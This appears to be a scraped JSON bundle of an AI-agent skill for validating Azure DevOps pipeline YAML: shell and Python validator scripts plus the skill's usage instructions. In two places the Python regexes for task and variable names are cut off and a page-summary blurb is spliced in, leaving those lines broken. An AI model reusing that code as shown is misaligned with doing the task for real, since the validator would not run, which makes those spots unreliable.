[ \"$security_result\" = \"WARNINGS\" ]; then\n echo -e \"${YELLOW}WARNINGS${NC}\"\n else\n echo -e \"${RED}FAILED${NC}\"\n fi\n fi\n\n echo \"\"\n echo \"════════════════════════════════════════════════════════════════════════════════\"\n echo \"\"\n}\n\n# Main validation\nmain() {\n parse_args \"$@\"\n print_header\n\n local yaml_lint_result=\"SKIPPED\"\n local syntax_result=\"SKIPPED\"\n local best_practices_result=\"SKIPPED\"\n local security_result=\"SKIPPED\"\n local overall_exit=0\n\n # Step 0: YAML Lint (optional)\n if [ \"$RUN_YAML_LINT\" = true ]; then\n echo \"[0/4] Running YAML lint check...\"\n echo \"\"\n\n set +e\n bash \"$SCRIPT_DIR/yamllint_check.sh\" \"$FILE_PATH\"\n yaml_lint_exit=$?\n set -e\n\n if [ $yaml_lint_exit -eq 0 ]; then\n yaml_lint_result=\"PASSED\"\n elif [ $yaml_lint_exit -eq 3 ]; then\n yaml_lint_result=\"SKIPPED\"\n else\n yaml_lint_result=\"WARNINGS\"\n if [ \"$STRICT_MODE\" = true ]; then\n overall_exit=1\n fi\n fi\n echo \"\"\n fi\n\n # Step 1: Syntax Validation\n if [ \"$RUN_SYNTAX\" = true ]; then\n echo \"[1/4] Running syntax validation...\"\n echo \"\"\n\n if bash \"$PYTHON_WRAPPER\" \"$SCRIPT_DIR/validate_syntax.py\" \"$FILE_PATH\"; then\n syntax_result=\"PASSED\"\n else\n syntax_result=\"FAILED\"\n overall_exit=1\n fi\n echo \"\"\n fi\n\n # Step 2: Best Practices Check\n if [ \"$RUN_BEST_PRACTICES\" = true ]; then\n echo \"[2/4] Running best practices check...\"\n echo \"\"\n\n set +e # Disable exit on error for validation command\n bash \"$PYTHON_WRAPPER\" \"$SCRIPT_DIR/check_best_practices.py\" \"$FILE_PATH\"\n best_practices_exit=$?\n set -e # Re-enable exit on error\n if [ $best_practices_exit -eq 0 ]; then\n best_practices_result=\"PASSED\"\n elif [ $best_practices_exit -eq 2 ]; then\n best_practices_result=\"WARNINGS\"\n if [ \"$STRICT_MODE\" = true ]; then\n overall_exit=1\n fi\n else\n best_practices_result=\"FAILED\"\n overall_exit=1\n fi\n echo \"\"\n fi\n\n # Step 3: Security Scan\n if [ \"$RUN_SECURITY\" = true ]; then\n echo \"[3/4] Running security scan...\"\n echo \"\"\n\n set +e # Disable exit on error for validation command\n bash \"$PYTHON_WRAPPER\" \"$SCRIPT_DIR/check_security.py\" \"$FILE_PATH\"\n security_exit=$?\n set -e # Re-enable exit on error\n if [ $security_exit -eq 0 ]; then\n security_result=\"PASSED\"\n elif [ $security_exit -eq 2 ]; then\n security_result=\"WARNINGS\"\n if [ \"$STRICT_MODE\" = true ]; then\n overall_exit=1\n fi\n else\n security_result=\"FAILED\"\n overall_exit=1\n fi\n echo \"\"\n fi\n\n # Print summary\n print_summary \"$yaml_lint_result\" \"$syntax_result\" \"$best_practices_result\" \"$security_result\"\n\n # Final result\n if [ $overall_exit -eq 0 ]; then\n echo -e \"${GREEN}✓ All validation checks passed${NC}\"\n exit 0\n else\n echo -e \"${RED}✗ Validation failed${NC}\"\n exit 1\n fi\n}\n\nmain \"$@\"\n","content_type":"application/x-sh; charset=utf-8","language":"bash","size":10820,"content_sha256":"b1bef9e7e8f659d4e960a8af9e09d9867904606f604504f77c72db544f58404e"},{"filename":"scripts/validate_syntax.py","content":"#!/usr/bin/env python3\n\"\"\"\nAzure Pipelines Syntax Validator\n\nThis script validates Azure Pipelines YAML files for:\n- Valid YAML syntax\n- Azure Pipelines schema compliance\n- Required fields and structure\n- Task format validation\n- Pool/agent specifications\n- Stage/job/step hierarchy\n- Resource definitions\n\"\"\"\n\nimport sys\nimport yaml\nimport re\nfrom pathlib import Path\nfrom typing import Dict, List, Any, Tuple, Set\nfrom collections import defaultdict\n\n\nclass ValidationError:\n \"\"\"Represents a validation error or warning\"\"\"\n\n def __init__(self, severity: str, line: int, message: str, rule: str):\n self.severity = severity # 'error', 'warning', 'info'\n self.line = line\n self.message = message\n self.rule = rule\n\n def __str__(self):\n return f\"{self.severity.upper()}: Line {self.line}: {self.message} [{self.rule}]\"\n\n\nclass AzurePipelinesValidator:\n \"\"\"Validates Azure Pipelines configuration files\"\"\"\n\n # Top-level keywords in Azure Pipelines\n PIPELINE_KEYWORDS = {\n 'name', 'trigger', 'pr', 'schedules', 'pool', 'variables', 'parameters',\n 'resources', 'stages', 'jobs', 'steps', 'extends', 'strategy',\n 'container', 'services', 'workspace', 'lockBehavior', 'appendCommitMessageToRunName'\n }\n\n # Job-level keywords\n JOB_KEYWORDS = {\n 'job', 'deployment', 'template', 'displayName', 'dependsOn', 'condition',\n 'strategy', 'continueOnError', 'pool', 'workspace', 'container', 'services',\n 'timeoutInMinutes', 'cancelTimeoutInMinutes', 'variables', 'steps',\n 'environment', 'uses', 'templateContext'\n }\n\n # Step types in Azure Pipelines\n STEP_TYPES = {\n 'task', 'script', 'bash', 'pwsh', 'powershell', 'checkout', 'download',\n 'downloadBuild', 'getPackage', 'publish', 'template', 'reviewApp'\n }\n\n # Valid trigger types\n TRIGGER_TYPES = {'batch', 'branches', 'paths', 'tags'}\n\n # Deployment strategies\n DEPLOYMENT_STRATEGIES = {'runOnce', 'rolling', 'canary'}\n\n def __init__(self, file_path: str):\n self.file_path = Path(file_path)\n self.errors: List[ValidationError] = []\n self.config: Dict[str, Any] = {}\n self.line_map: Dict[str, int] = {}\n self.defined_stages: Set[str] = set()\n self.defined_jobs: Set[str] = set()\n\n @staticmethod\n def _is_template_expression_key(key: Any) -> bool:\n \"\"\"Return true when key looks like an Azure template expression key.\"\"\"\n if not isinstance(key, str):\n return False\n stripped = key.strip()\n return stripped.startswith('${{') and stripped.endswith('}}')\n\n def _extract_conditional_block(self, node: Dict[str, Any]) -> Any:\n \"\"\"\n Return the payload for a template-conditional mapping node.\n\n Azure template conditionals commonly appear as:\n - ${{ if \u003cexpr> }}:\n - \u003cstage|job|step>\n \"\"\"\n if not isinstance(node, dict) or len(node) != 1:\n return None\n key = next(iter(node.keys()))\n if not self._is_template_expression_key(key):\n return None\n return node[key]\n\n def validate(self) -> Tuple[bool, List[ValidationError]]:\n \"\"\"Run all validations and return results\"\"\"\n\n # Step 1: Load and parse YAML\n if not self._load_yaml():\n return False, self.errors\n\n # Step 2: Validate structure\n self._validate_structure()\n\n # Step 3: Validate pool configuration\n self._validate_pool()\n\n # Step 4: Validate stages\n if 'stages' in self.config:\n self._validate_stages()\n\n # Step 5: Validate jobs\n if 'jobs' in self.config:\n self._validate_jobs(self.config.get('jobs', []))\n\n # Step 6: Validate steps (single-stage, single-job pipeline)\n if 'steps' in self.config:\n self._validate_steps(self.config.get('steps', []), 'pipeline')\n\n # Step 7: Validate variables\n if 'variables' in self.config:\n self._validate_variables(self.config['variables'])\n\n # Step 8: Validate resources\n if 'resources' in self.config:\n self._validate_resources()\n\n # Step 9: Validate triggers\n self._validate_triggers()\n\n # Determine if validation passed (no errors, warnings are ok)\n has_errors = any(e.severity == 'error' for e in self.errors)\n return not has_errors, self.errors\n\n def _load_yaml(self) -> bool:\n \"\"\"Load and parse YAML file\"\"\"\n try:\n with open(self.file_path, 'r') as f:\n content = f.read()\n\n # Parse YAML\n self.config = yaml.safe_load(content)\n\n if self.config is None:\n self.errors.append(ValidationError(\n 'error', 1, 'Empty or invalid YAML file', 'yaml-empty'\n ))\n return False\n\n if not isinstance(self.config, dict):\n self.errors.append(ValidationError(\n 'error', 1, 'Root must be a dictionary/object', 'yaml-invalid-root'\n ))\n return False\n\n # Build line number map\n self._build_line_map(content)\n\n return True\n\n except yaml.YAMLError as e:\n line = getattr(e, 'problem_mark', None)\n line_num = line.line + 1 if line else 1\n self.errors.append(ValidationError(\n 'error', line_num, f'YAML syntax error: {str(e)}', 'yaml-syntax'\n ))\n return False\n except FileNotFoundError:\n self.errors.append(ValidationError(\n 'error', 0, f'File not found: {self.file_path}', 'file-not-found'\n ))\n return False\n except Exception as e:\n self.errors.append(ValidationError(\n 'error', 0, f'Error reading file: {str(e)}', 'file-read-error'\n ))\n return False\n\n def _build_line_map(self, content: str):\n \"\"\"Build comprehensive line number map for error reporting\"\"\"\n self.raw_lines = content.split('\\n')\n\n for line_num, line in enumerate(self.raw_lines, 1):\n stripped = line.strip()\n if stripped and not stripped.startswith('#'):\n # Extract key from line\n if ':' in stripped:\n key = stripped.split(':')[0].strip('- ')\n if key and key not in self.line_map:\n self.line_map[key] = line_num\n # Also store full stripped line for value lookups\n self.line_map[stripped] = line_num\n\n def _get_line(self, key: str) -> int:\n \"\"\"Get approximate line number for a key or value\"\"\"\n if key in self.line_map:\n return self.line_map[key]\n # Search for the key in raw lines\n for line_num, line in enumerate(self.raw_lines, 1):\n if key in line:\n return line_num\n return 0\n\n def _find_line_containing(self, value: str) -> int:\n \"\"\"Find line number containing a specific value\"\"\"\n for line_num, line in enumerate(self.raw_lines, 1):\n if value in line:\n return line_num\n return 0\n\n def _validate_structure(self):\n \"\"\"Validate basic pipeline structure\"\"\"\n\n # Check for valid pipeline structure\n has_stages = 'stages' in self.config\n has_jobs = 'jobs' in self.config\n has_steps = 'steps' in self.config\n has_extends = 'extends' in self.config\n\n # Azure Pipelines can have: stages, jobs, steps, or extends\n if has_extends:\n return # Template pipeline, skip structure validation\n\n if not (has_stages or has_jobs or has_steps):\n self.errors.append(ValidationError(\n 'error', 1,\n 'Pipeline must define stages, jobs, or steps',\n 'missing-pipeline-content'\n ))\n\n # Cannot mix certain top-level keywords\n if has_stages and has_jobs:\n self.errors.append(ValidationError(\n 'error', self._get_line('jobs'),\n 'Cannot define both stages and jobs at root level',\n 'invalid-hierarchy'\n ))\n\n if has_stages and has_steps:\n self.errors.append(ValidationError(\n 'error', self._get_line('steps'),\n 'Cannot define both stages and steps at root level',\n 'invalid-hierarchy'\n ))\n\n if has_jobs and has_steps:\n self.errors.append(ValidationError(\n 'error', self._get_line('steps'),\n 'Cannot define both jobs and steps at root level',\n 'invalid-hierarchy'\n ))\n\n def _validate_pool(self):\n \"\"\"Validate pool configuration\"\"\"\n if 'pool' not in self.config:\n return\n\n pool = self.config['pool']\n\n if isinstance(pool, str):\n # Simple pool name reference\n return\n\n if isinstance(pool, dict):\n # Must have either name or vmImage (demands-only is valid: uses default pool)\n if 'name' not in pool and 'vmImage' not in pool and 'demands' not in pool:\n self.errors.append(ValidationError(\n 'error', self._get_line('pool'),\n \"Pool must specify 'name' or 'vmImage'\",\n 'pool-invalid'\n ))\n else:\n self.errors.append(ValidationError(\n 'error', self._get_line('pool'),\n 'Pool must be a string or object',\n 'pool-invalid-type'\n ))\n\n def _collect_stage_names(self, stages: Any):\n \"\"\"Pre-collect stage names to support forward references in dependsOn.\"\"\"\n if not isinstance(stages, list):\n return\n for stage in stages:\n if isinstance(stage, dict):\n if 'stage' in stage:\n self.defined_stages.add(stage['stage'])\n payload = self._extract_conditional_block(stage)\n if payload is not None:\n items = payload if isinstance(payload, list) else [payload]\n self._collect_stage_names(items)\n\n def _collect_job_names(self, jobs: Any):\n \"\"\"Pre-collect job names to support forward references in dependsOn.\"\"\"\n if not isinstance(jobs, list):\n return\n for job in jobs:\n if isinstance(job, dict):\n if 'job' in job:\n self.defined_jobs.add(job['job'])\n elif 'deployment' in job:\n self.defined_jobs.add(job['deployment'])\n payload = self._extract_conditional_block(job)\n if payload is not None:\n items = payload if isinstance(payload, list) else [payload]\n self._collect_job_names(items)\n\n def _validate_stages(self):\n \"\"\"Validate stages configuration\"\"\"\n stages = self.config.get('stages', [])\n self._collect_stage_names(stages)\n self._validate_stage_list(stages)\n\n def _validate_stage_list(self, stages: Any):\n \"\"\"Validate a stage list (root stages or nested conditional stage blocks).\"\"\"\n\n if not isinstance(stages, list):\n self.errors.append(ValidationError(\n 'error', self._get_line('stages'),\n 'Stages must be a list',\n 'stages-not-list'\n ))\n return\n\n for idx, stage in enumerate(stages):\n if isinstance(stage, dict):\n # Check if it's a template reference\n if 'template' in stage:\n continue\n\n # Handle template conditional insertion blocks:\n # - ${{ if ... }}:\n # - stage: ...\n conditional_payload = self._extract_conditional_block(stage)\n if conditional_payload is not None:\n if isinstance(conditional_payload, list):\n self._validate_stage_list(conditional_payload)\n elif isinstance(conditional_payload, dict):\n self._validate_stage_list([conditional_payload])\n else:\n line = self._find_line_containing(next(iter(stage.keys())))\n self.errors.append(ValidationError(\n 'error', line,\n 'Conditional stage block must contain a stage list or mapping',\n 'stage-conditional-invalid-type'\n ))\n continue\n\n if 'stage' in stage:\n stage_name = stage['stage']\n self.defined_stages.add(stage_name)\n\n # Stages must have jobs\n if 'jobs' not in stage:\n self.errors.append(ValidationError(\n 'error', self._get_line(stage_name),\n f\"Stage '{stage_name}' must define jobs\",\n 'stage-missing-jobs'\n ))\n else:\n self._validate_jobs(stage['jobs'], stage_name)\n\n # Validate dependsOn if present\n if 'dependsOn' in stage:\n self._validate_dependencies(stage['dependsOn'], stage_name, 'stage')\n else:\n self.errors.append(ValidationError(\n 'error', self._get_line('stages'),\n f'Stage {idx} must have \"stage\" or \"template\" property',\n 'stage-missing-identifier'\n ))\n\n def _validate_jobs(self, jobs: List[Any], context: str = 'pipeline'):\n \"\"\"Validate jobs configuration\"\"\"\n if not isinstance(jobs, list):\n self.errors.append(ValidationError(\n 'error', self._get_line('jobs'),\n 'Jobs must be a list',\n 'jobs-not-list'\n ))\n return\n\n # Pre-collect all job names so forward dependsOn references are resolved.\n self._collect_job_names(jobs)\n\n for idx, job in enumerate(jobs):\n if not isinstance(job, dict):\n continue\n\n # Check if it's a template reference\n if 'template' in job:\n continue\n\n # Handle template conditional insertion blocks in job lists.\n conditional_payload = self._extract_conditional_block(job)\n if conditional_payload is not None:\n if isinstance(conditional_payload, list):\n self._validate_jobs(conditional_payload, context)\n elif isinstance(conditional_payload, dict):\n self._validate_jobs([conditional_payload], context)\n else:\n line = self._find_line_containing(next(iter(job.keys())))\n self.errors.append(ValidationError(\n 'error', line,\n f'Conditional job block in {context} must contain a job list or mapping',\n 'job-conditional-invalid-type'\n ))\n continue\n\n job_type = None\n job_name = None\n\n if 'job' in job:\n job_type = 'job'\n job_name = job['job']\n elif 'deployment' in job:\n job_type = 'deployment'\n job_name = job['deployment']\n else:\n self.errors.append(ValidationError(\n 'error', 0,\n f'Job {idx} in {context} must have \"job\", \"deployment\", or \"template\" property',\n 'job-missing-type'\n ))\n continue\n\n self.defined_jobs.add(job_name)\n\n # Regular jobs must have steps\n if job_type == 'job':\n if 'steps' not in job and 'template' not in job:\n self.errors.append(ValidationError(\n 'error', self._get_line(job_name),\n f\"Job '{job_name}' must define steps\",\n 'job-missing-steps'\n ))\n elif 'steps' in job:\n self._validate_steps(job['steps'], job_name)\n\n # Deployment jobs must have strategy and environment\n if job_type == 'deployment':\n if 'strategy' not in job:\n self.errors.append(ValidationError(\n 'error', self._get_line(job_name),\n f\"Deployment job '{job_name}' must define strategy\",\n 'deployment-missing-strategy'\n ))\n else:\n self._validate_deployment_strategy(job['strategy'], job_name)\n\n if 'environment' not in job:\n self.errors.append(ValidationError(\n 'warning', self._get_line(job_name),\n f\"Deployment job '{job_name}' should specify environment\",\n 'deployment-missing-environment'\n ))\n\n # Validate dependsOn if present\n if 'dependsOn' in job:\n self._validate_dependencies(job['dependsOn'], job_name, 'job')\n\n def _validate_steps(self, steps: List[Any], context: str):\n \"\"\"Validate steps configuration\"\"\"\n if not isinstance(steps, list):\n self.errors.append(ValidationError(\n 'error', self._get_line('steps'),\n f'Steps in {context} must be a list',\n 'steps-not-list'\n ))\n return\n\n for idx, step in enumerate(steps):\n if not isinstance(step, dict):\n continue\n\n # Check if it's a template reference\n if 'template' in step:\n continue\n\n # Handle template conditional insertion blocks in step lists.\n conditional_payload = self._extract_conditional_block(step)\n if conditional_payload is not None:\n if isinstance(conditional_payload, list):\n self._validate_steps(conditional_payload, context)\n elif isinstance(conditional_payload, dict):\n self._validate_steps([conditional_payload], context)\n else:\n line = self._find_line_containing(next(iter(step.keys())))\n self.errors.append(ValidationError(\n 'error', line,\n f'Conditional step block in {context} must contain a step list or mapping',\n 'step-conditional-invalid-type'\n ))\n continue\n\n # Check for valid step type\n has_valid_type = any(step_type in step for step_type in self.STEP_TYPES)\n\n if not has_valid_type:\n self.errors.append(ValidationError(\n 'error', 0,\n f'Step {idx} in {context} must specify a valid step type: {\", \".join(self.STEP_TYPES)}',\n 'step-invalid-type'\n ))\n continue\n\n # Validate task format\n if 'task' in step:\n self._validate_task(step['task'], context)\n\n def _validate_task(self, task: str, context: str):\n \"\"\"Validate task format (TaskName@version)\"\"\"\n if not isinstance(task, str):\n return\n\n # Azure Pipelines task format: TaskName@MajorVersion\n task_pattern = re.compile(r'^[A-Za-z0-9_\\-\\.]+@\\d+

Azure Pipelines Validator Use this skill to validate Azure DevOps pipeline YAML ( / ) with local scripts first, then escalate to docs only when local output is not enough. Trigger Phrases Use this skill when the user asks things like: - "Validate my ." - "Why is this Azure pipeline YAML failing?" - "Run a security scan on this Azure DevOps pipeline." - "Check this pipeline for best-practice issues." - "Review this pipeline in CI before merge." Do not use this skill for pipeline generation from scratch. Use for that. Deterministic Path Setup (No Ambiguity) Run from any directory using explicit…

)\n\n if not task_pattern.match(task):\n line_num = self._find_line_containing(f\"task: {task}\") or self._find_line_containing(task)\n self.errors.append(ValidationError(\n 'error', line_num,\n f\"Task '{task}' in {context} must follow format 'TaskName@version'\",\n 'task-invalid-format'\n ))\n\n def _validate_deployment_strategy(self, strategy: Dict[str, Any], job_name: str):\n \"\"\"Validate deployment strategy\"\"\"\n if not isinstance(strategy, dict):\n return\n\n # Must have exactly one strategy type\n strategy_keys = set(strategy.keys()) & self.DEPLOYMENT_STRATEGIES\n\n if len(strategy_keys) == 0:\n self.errors.append(ValidationError(\n 'error', self._get_line(job_name),\n f\"Deployment strategy must specify one of: {', '.join(self.DEPLOYMENT_STRATEGIES)}\",\n 'strategy-missing-type'\n ))\n elif len(strategy_keys) > 1:\n self.errors.append(ValidationError(\n 'error', self._get_line(job_name),\n f\"Deployment strategy cannot specify multiple types: {', '.join(strategy_keys)}\",\n 'strategy-multiple-types'\n ))\n\n def _validate_dependencies(self, depends_on: Any, name: str, dep_type: str):\n \"\"\"Validate dependsOn references\"\"\"\n if isinstance(depends_on, str):\n depends_on = [depends_on]\n\n if not isinstance(depends_on, list):\n return\n\n valid_deps = self.defined_stages if dep_type == 'stage' else self.defined_jobs\n\n for dep in depends_on:\n if isinstance(dep, str) and dep not in valid_deps and dep != '':\n self.errors.append(ValidationError(\n 'warning', self._get_line(name),\n f\"{dep_type.capitalize()} '{name}' depends on undefined {dep_type} '{dep}'\",\n f'{dep_type}-undefined-dependency'\n ))\n\n def _validate_variables(self, variables: Any):\n \"\"\"Validate variables configuration\"\"\"\n if isinstance(variables, dict):\n # Simple key-value variables\n for key, value in variables.items():\n self._validate_variable_name(key)\n elif isinstance(variables, list):\n # List of variable definitions\n for var in variables:\n if isinstance(var, dict):\n if 'name' in var:\n self._validate_variable_name(var['name'])\n elif 'group' in var:\n # Variable group reference\n pass\n elif 'template' in var:\n # Template reference\n pass\n\n def _validate_variable_name(self, name: str):\n \"\"\"Validate variable naming conventions\"\"\"\n if not re.match(r'^[A-Za-z_][A-Za-z0-9_]*

Azure Pipelines Validator Use this skill to validate Azure DevOps pipeline YAML ( / ) with local scripts first, then escalate to docs only when local output is not enough. Trigger Phrases Use this skill when the user asks things like: - "Validate my ." - "Why is this Azure pipeline YAML failing?" - "Run a security scan on this Azure DevOps pipeline." - "Check this pipeline for best-practice issues." - "Review this pipeline in CI before merge." Do not use this skill for pipeline generation from scratch. Use for that. Deterministic Path Setup (No Ambiguity) Run from any directory using explicit…

, name):\n self.errors.append(ValidationError(\n 'warning', self._get_line(name),\n f\"Variable '{name}' should use alphanumeric characters and underscores only\",\n 'variable-invalid-name'\n ))\n\n def _validate_resources(self):\n \"\"\"Validate resources configuration\"\"\"\n resources = self.config.get('resources', {})\n\n if not isinstance(resources, dict):\n self.errors.append(ValidationError(\n 'error', self._get_line('resources'),\n 'Resources must be an object',\n 'resources-invalid-type'\n ))\n return\n\n valid_resource_types = {'pipelines', 'builds', 'repositories', 'containers', 'packages', 'webhooks'}\n\n for resource_type in resources.keys():\n if resource_type not in valid_resource_types:\n self.errors.append(ValidationError(\n 'warning', self._get_line(resource_type),\n f\"Unknown resource type '{resource_type}'. Valid types: {', '.join(valid_resource_types)}\",\n 'resource-unknown-type'\n ))\n\n def _validate_triggers(self):\n \"\"\"Validate trigger configurations\"\"\"\n # Validate CI trigger\n if 'trigger' in self.config:\n trigger = self.config['trigger']\n if trigger != 'none' and not isinstance(trigger, (list, dict)):\n self.errors.append(ValidationError(\n 'warning', self._get_line('trigger'),\n \"Trigger should be 'none', a list of branches, or an object\",\n 'trigger-invalid-type'\n ))\n\n # Validate PR trigger\n if 'pr' in self.config:\n pr = self.config['pr']\n if pr != 'none' and not isinstance(pr, (list, dict)):\n self.errors.append(ValidationError(\n 'warning', self._get_line('pr'),\n \"PR trigger should be 'none', a list of branches, or an object\",\n 'pr-invalid-type'\n ))\n\n\ndef main():\n if len(sys.argv) \u003c 2:\n print(\"Usage: validate_syntax.py \u003cazure-pipelines.yml>\", file=sys.stderr)\n sys.exit(1)\n\n validator = AzurePipelinesValidator(sys.argv[1])\n success, errors = validator.validate()\n\n if errors:\n for error in errors:\n print(error)\n print()\n\n if success:\n print(\"✓ Syntax validation passed\")\n sys.exit(0)\n else:\n print(\"✗ Syntax validation failed\")\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n","content_type":"text/x-python; charset=utf-8","language":"python","size":25311,"content_sha256":"195074a331b54a7c3f1dfcea48fef90db41c549abbb32f80eea9eb142a5fa534"},{"filename":"scripts/yamllint_check.sh","content":"#!/bin/bash\n# YAML Lint Check Script for Azure Pipelines\n# Runs yamllint with Azure Pipelines-specific configuration\n#\n# This script handles yamllint with transparent venv management:\n# 1. Tries to use system yamllint if available\n# 2. Falls back to venv yamllint if exists\n# 3. Returns a dedicated skip code if yamllint is not available\n\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nVENV_DIR=\"$SCRIPT_DIR/../.venv\"\nYAMLLINT_CONFIG=\"$SCRIPT_DIR/../assets/.yamllint\"\n\n# Check if file path is provided\nif [ $# -lt 1 ]; then\n echo \"Usage: yamllint_check.sh \u003cazure-pipelines.yml>\" >&2\n exit 1\nfi\n\nFILE_PATH=\"$1\"\n\n# Check if file exists\nif [ ! -f \"$FILE_PATH\" ]; then\n echo \"Error: File not found: $FILE_PATH\" >&2\n exit 1\nfi\n\n# Function to run yamllint\nrun_yamllint() {\n local yamllint_cmd=\"$1\"\n\n if [ -f \"$YAMLLINT_CONFIG\" ]; then\n $yamllint_cmd -c \"$YAMLLINT_CONFIG\" \"$FILE_PATH\"\n else\n # No config file, use defaults\n $yamllint_cmd \"$FILE_PATH\"\n fi\n}\n\n# Try system yamllint first\nif command -v yamllint &> /dev/null; then\n run_yamllint \"yamllint\"\n exit $?\nfi\n\n# Try venv yamllint\nif [ -d \"$VENV_DIR\" ] && [ -f \"$VENV_DIR/bin/activate\" ]; then\n # Activate venv\n source \"$VENV_DIR/bin/activate\" 2>/dev/null\n\n # Check if yamllint is available in venv\n if command -v yamllint &> /dev/null; then\n run_yamllint \"yamllint\"\n exit $?\n fi\nfi\n\n# yamllint not available - skip with dedicated exit code\necho \"ℹ yamllint not available (skipping YAML linting)\" >&2\necho \" To enable: pip install yamllint\" >&2\nexit 3\n","content_type":"application/x-sh; charset=utf-8","language":"bash","size":1606,"content_sha256":"78fb2f6d00ae39d76e79d641abfdcc278c276021eead7769119d7597c0acda97"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"Azure Pipelines Validator","type":"text"}]},{"type":"paragraph","content":[{"text":"Use this skill to validate Azure DevOps pipeline YAML (","type":"text"},{"text":"azure-pipelines.yml","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"azure-pipelines.yaml","type":"text","marks":[{"type":"code_inline"}]},{"text":") with local scripts first, then escalate to docs only when local output is not enough.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Trigger Phrases","type":"text"}]},{"type":"paragraph","content":[{"text":"Use this skill when the user asks things like:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Validate my ","type":"text"},{"text":"azure-pipelines.yml","type":"text","marks":[{"type":"code_inline"}]},{"text":".\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Why is this Azure pipeline YAML failing?\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Run a security scan on this Azure DevOps pipeline.\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Check this pipeline for best-practice issues.\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Review this pipeline in CI before merge.\"","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Do not use this skill for pipeline generation from scratch. Use ","type":"text"},{"text":"azure-pipelines-generator","type":"text","marks":[{"type":"code_inline"}]},{"text":" for that.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Deterministic Path Setup (No Ambiguity)","type":"text"}]},{"type":"paragraph","content":[{"text":"Run from any directory using explicit absolute paths:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"REPO_ROOT=\"$(git rev-parse --show-toplevel 2>/dev/null)\"\nSKILL_DIR=\"$REPO_ROOT/devops-skills-plugin/skills/azure-pipelines-validator\"\nPIPELINE_FILE=\"$REPO_ROOT/azure-pipelines.yml\"","type":"text"}]},{"type":"paragraph","content":[{"text":"If ","type":"text"},{"text":"REPO_ROOT","type":"text","marks":[{"type":"code_inline"}]},{"text":" is empty, stop and ask for the repository root path. Do not guess paths.","type":"text"}]},{"type":"paragraph","content":[{"text":"Validate one file:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash \"$SKILL_DIR/scripts/validate_azure_pipelines.sh\" \"$PIPELINE_FILE\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Auto-detect from current directory (up to depth 3):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash \"$SKILL_DIR/scripts/validate_azure_pipelines.sh\"","type":"text"}]},{"type":"paragraph","content":[{"text":"If auto-detect returns multiple files, rerun with one explicit file path.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Local-First Execution Model","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Preflight","type":"text"}]}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Confirm ","type":"text"},{"text":"bash","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"python3","type":"text","marks":[{"type":"code_inline"}]},{"text":" are available.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Confirm target file exists.","type":"text"}]}]}]},{"type":"ordered_list","attrs":{"order":2,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Run local validator","type":"text"}]}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Default full pass:","type":"text"}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash \"$SKILL_DIR/scripts/validate_azure_pipelines.sh\" \"$PIPELINE_FILE\"","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Syntax only:","type":"text"}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash \"$SKILL_DIR/scripts/validate_azure_pipelines.sh\" \"$PIPELINE_FILE\" --syntax-only","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Best practices only:","type":"text"}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash \"$SKILL_DIR/scripts/validate_azure_pipelines.sh\" \"$PIPELINE_FILE\" --best-practices","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Security only:","type":"text"}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash \"$SKILL_DIR/scripts/validate_azure_pipelines.sh\" \"$PIPELINE_FILE\" --security-only","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Strict mode (warnings fail):","type":"text"}]}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash \"$SKILL_DIR/scripts/validate_azure_pipelines.sh\" \"$PIPELINE_FILE\" --strict","type":"text"}]},{"type":"ordered_list","attrs":{"order":3,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Interpret exit behavior","type":"text"}]}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"0","type":"text","marks":[{"type":"code_inline"}]},{"text":": pass (or non-blocking checks only)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"1","type":"text","marks":[{"type":"code_inline"}]},{"text":": validation failed (blocking issues)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"2","type":"text","marks":[{"type":"code_inline"}]},{"text":": invalid invocation 